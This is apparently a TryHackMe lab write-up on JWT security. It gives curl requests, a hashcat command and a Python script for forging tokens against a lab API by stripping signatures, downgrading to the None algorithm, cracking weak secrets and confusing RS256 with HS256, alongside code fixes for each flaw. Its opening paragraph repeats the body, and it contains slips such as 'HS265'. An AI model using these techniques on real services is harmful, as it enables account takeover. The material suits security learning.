TryHackMe: JWT Security
Tokens Tokens are stored in the browser's LocalStorage. Encoded in base64. Common tokens such as JWT passes through the Authorization: Bearer header. Below are the two cURL requests you can use to interface with the API. For authentication, the following cURL request can be made: curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://website For user verification, the following cURL request can be made: curl -H 'Authorization: Bearer [JWT token]' http://website?username=Y The JWT token component has to be replaced with the JWT received from the first request. In this case, Y can be either user or admin, depending on your permissions. Once you have a valid JWT where admin is set to 1, you can request the details of the admin user. JWT Token Structure Header.Payload.Signature Header - The header usually indicates the type of token, which is JWT, as well as the signing algorithm that is used. Payload - The payload is the body of the token, which contain the claims. A claim is a piece of information provided for a specific entity. In JWTs, there are registered claims, which are claims predefined by the JWT standard and public or private claims. Signature - The signature is the part of the token that provides a method for verifying the token's authenticity. The signature is created by using the algorithm specified in the header of the JWT. Signing Algorithms None - The None algorithm means no algorithm is used for the signature. Symmetric Signing - A symmetric signing algorithm, such as HS265, creates the signature by appending a secret value to the header and body of the JWT before generating a hash value. Verification of the signature can be performed by any system that has knowledge of the secret key. Asymmetric Signing - An asymmetric signing algorithm, such as RS256, creates the signature by using a private key to sign the header and body of the JWT. This is created by generating the hash and then encrypting the hash using the private key. Verification of the signature can be performed by any system that has knowledge of the public key associated with the private key that was used to create the signature. JWTs can be encrypted (known as JWEs) but the signature holds greater significance. Once a JWT signature is verified, the claims provided within the JWT can be trusted and acted upon. Sensitive Information Disclosure Example: curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://website Once a token is returned, we can just decode the token using JWT.io. Lesson: Do not store any sensitive data in session tokens. Store it in server side as tokens can be accessed by clients. Signature Validation Mistakes 1. Not Verifying the Signature The second common mistake with JWTs is not correctly verifying the signature. If the signature isn't correctly verified, a threat actor may be able to forge a valid JWT token to gain access to another user's account. Lets retrieve a token using the command: curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://website Then we paste the token as seen below right beside the Bearer header. curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4' http://10.10.70.111/api/v1.0/example2?username=user And sure enough, we are identified as user. Lets decode the token using JWT.io. We see a admin = 0 parameter, we can change that to 1. And we can log in as admin, as long as we change the username to admin too. We can also check if the website validates signatures properly or not by removing the signature *last parameter of the token). curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0' http://10.10.70.111/api/v1.0/example2?username=admin If we can log in as admin, this proves that the website does not require signature to validate tokens, a misconfiguration on their part, as the format of a token is Header.Payload.Signature. It can simply be fixed using payload = jwt.decode(token, self.secret, algorithms="HS256") to add signature. 2. Downgrading to None While this may sound silly, the idea behind this in the standard was for server-to-server communication, where the signature of the JWT was verified in an upstream process. Therefore, the second server would not be required to verify the signature. However, suppose the developers do not lock in the signature algorithm or, at the very least, deny the None algorithm. In that case, you can simply change the algorithm specified in your JWT as None, which would then cause the library used for signature verification to always return true, thus allowing you again to forge any claims within your token. Take the same

Tokens
Tokens are stored in the browser's LocalStorage.
Encoded in base64.
Common tokens such as JWT passes through the Authorization: Bearer header.
Below are the two cURL requests you can use to interface with the API. For authentication, the following cURL request can be made:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://website
For user verification, the following cURL request can be made:
curl -H 'Authorization: Bearer [JWT token]' http://website?username=Y
The JWT token component has to be replaced with the JWT received from the first request. In this case, Y
can be either user or admin, depending on your permissions.
Once you have a valid JWT where admin is set to 1, you can request the details of the admin user.
JWT Token Structure
Header.Payload.Signature
- Header - The header usually indicates the type of token, which is JWT, as well as the signing algorithm that is used.
- Payload - The payload is the body of the token, which contain the claims. A claim is a piece of information provided for a specific entity. In JWTs, there are registered claims, which are claims predefined by the JWT standard and public or private claims.
- Signature - The signature is the part of the token that provides a method for verifying the token's authenticity. The signature is created by using the algorithm specified in the header of the JWT.
Signing Algorithms
- None - The None algorithm means no algorithm is used for the signature.
- Symmetric Signing - A symmetric signing algorithm, such as HS265, creates the signature by appending a secret value to the header and body of the JWT before generating a hash value. Verification of the signature can be performed by any system that has knowledge of the secret key.
- Asymmetric Signing - An asymmetric signing algorithm, such as RS256, creates the signature by using a private key to sign the header and body of the JWT. This is created by generating the hash and then encrypting the hash using the private key. Verification of the signature can be performed by any system that has knowledge of the public key associated with the private key that was used to create the signature.
JWTs can be encrypted (known as JWEs) but the signature holds greater significance. Once a JWT signature is verified, the claims provided within the JWT can be trusted and acted upon.
Sensitive Information Disclosure
Example:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://website
Once a token is returned, we can just decode the token using JWT.io.
Lesson: Do not store any sensitive data in session tokens. Store it in server side as tokens can be accessed by clients.
Signature Validation Mistakes
1. Not Verifying the Signature
The second common mistake with JWTs is not correctly verifying the signature. If the signature isn't correctly verified, a threat actor may be able to forge a valid JWT token to gain access to another user's account.
Lets retrieve a token using the command:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://website
Then we paste the token as seen below right beside the Bearer header.
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4' http://10.10.70.111/api/v1.0/example2?username=user
And sure enough, we are identified as user.
Lets decode the token using JWT.io. We see a admin = 0
parameter, we can change that to 1. And we can log in as admin, as long as we change the username to admin too.
We can also check if the website validates signatures properly or not by removing the signature *last parameter of the token).
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0' http://10.10.70.111/api/v1.0/example2?username=admin
If we can log in as admin, this proves that the website does not require signature to validate tokens, a misconfiguration on their part, as the format of a token is Header.Payload.Signature.
It can simply be fixed using payload = jwt.decode(token, self.secret, algorithms="HS256")
to add signature.
2. Downgrading to None
While this may sound silly, the idea behind this in the standard was for server-to-server communication, where the signature of the JWT was verified in an upstream process. Therefore, the second server would not be required to verify the signature. However, suppose the developers do not lock in the signature algorithm or, at the very least, deny the None algorithm. In that case, you can simply change the algorithm specified in your JWT as None, which would then cause the library used for signature verification to always return true, thus allowing you again to forge any claims within your token.
Take the same token, but instead change the header, the alg
parameter to "None"
.
We can use CyberChef to encode base64 for us.
Common cause for this is a code as below:
header = jwt.get_unverified_header(token)
signature_algorithm = header['alg']
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
The code above sure any server side communication passes several signature verification algorithms enforced.
To fix this, if multiple signature algorithms should be supported, the supported algorithms should be supplied to the decode function as an array list, as shown below:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
3. Weak Symmetric Secrets
If a symmetric signing algorithm is used, the security of the JWT relies on the strength and entropy of the secret used. If a weak secret is used, it may be possible to perform offline cracking to recover the secret. Once the secret value is known, you can again alter the claims in your JWT and recalculate a valid signature using the secret.
- Save the JWT to a text file called jwt.txt.
- Download a common JWT secret list. For this room, you can use
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
to download such a list. - Use Hashcat to crack the secret using
hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
To fix this, a more secure secret value should be selected.
4. Signature Algorithm Confusion
This is similar to the None downgrade attack, however, it specifically happens with confusion between symmetric and asymmetric signing algorithms. If an asymmetric signing algorithm, for example, RS256 is used, it may be possible to downgrade the algorithm to HS256. In these cases, some libraries would default back to using the public key as the secret for the symmetric signing algorithm. Since the public key can be known, you can forge a valid signature by using the HS256 algorithm in combination with the public key.
As the public key isn't regarded as sensitive, it is common to find the public key. Sometimes, the public key is even embedded as a claim in the JWT. In this example, you must downgrade the algorithm to HS256 and then use the public key as the secret to sign the JWT. You can use the script provided below to assist you in forging this JWT:
import jwt
public_key = "ADD_KEY_HERE"
payload = {
'username' : 'user',
'admin' : 0
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
Use Pyjwt Before running the script, edit the file /usr/lib/python3/dist-packages/jwt/algorithms.py
using your favorite text editor and go to line 143. Then proceed to comment out lines 143-146 and run the script.
You can also use Jwt.io and insert the public key under the verify signature section.
The vulnerability arises when algorithms of both public and private are inserted without proper understanding of why each algorithm is used.
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])
Care should be given never to mix signature algorithms together as the secret parameter of the decode function can be confused between being a secret or a public key.
To fix this, we can do something as mentioned below. While both types of signature algorithms can be allowed, a bit more logic is required to ensure that there is no confusion, as shown in the example below:
header = jwt.get_unverified_header(token)
algorithm = header['alg']
payload = ""
if "RS" in algorithm:
payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
username = payload['username']
flag = self.db_lookup(username, "flag")
Token Lifetime
Before verifying the signature of the token, the lifetime of the token should be calculated to ensure that the token has not expired. This is usually performed by reading the exp
(expiration time) claim from the token and calculating if the token is still valid.
A common issue is if the exp
value is set too large (or not set at all), the token would be valid for too long or might even never expire. Note that if the token has no exp
value, it indicates that it is permanently persistent.
To fix this, an exp
value should be added to the claims. Once added, most libraries will include reviewing the expiry time of the JWT into their checks for validity. This can be done as shown in the example below:
lifetime = datetime.datetime.now() + datetime.timedelta(minutes=5)
payload = {
'username' : username,
'admin' : 0,
'exp' : lifetime
}
access_token = jwt.encode(payload, self.secret, algorithm="HS256")
Cross-Service Relay Attack
JWTs are often used in systems with a centralised authentication system that serves multiple applications. However, in some cases, we may want to restrict which applications are accessed with a JWT, especially when there are claims that should only be valid for certain applications. This can be done by using the audience claim.
JWTs can have an audience claim. In cases where a single authentication system serves multiple applications, the audience claim can indicate which application the JWT is intended for. However, the enforcement of this audience claim has to occur on the application itself, not the authentication server. If this claim is not verified, as the JWT itself is still regarded as valid through signature verification, it can have unintended consequences.
The JWT allocated to the user usually has a claim that indicates this, such as "admin" : true
. However, that same user is perhaps not an admin on a different application served by the same authentication system. If the audience claim is not verified on this second application, which also makes use of its admin claim, the server may mistakenly believe that the user has admin privileges. This is called a Cross-Service Relay attack.
Attack: Just use the token with higher privileges to access webpages where you are not supposed to have higher privileges.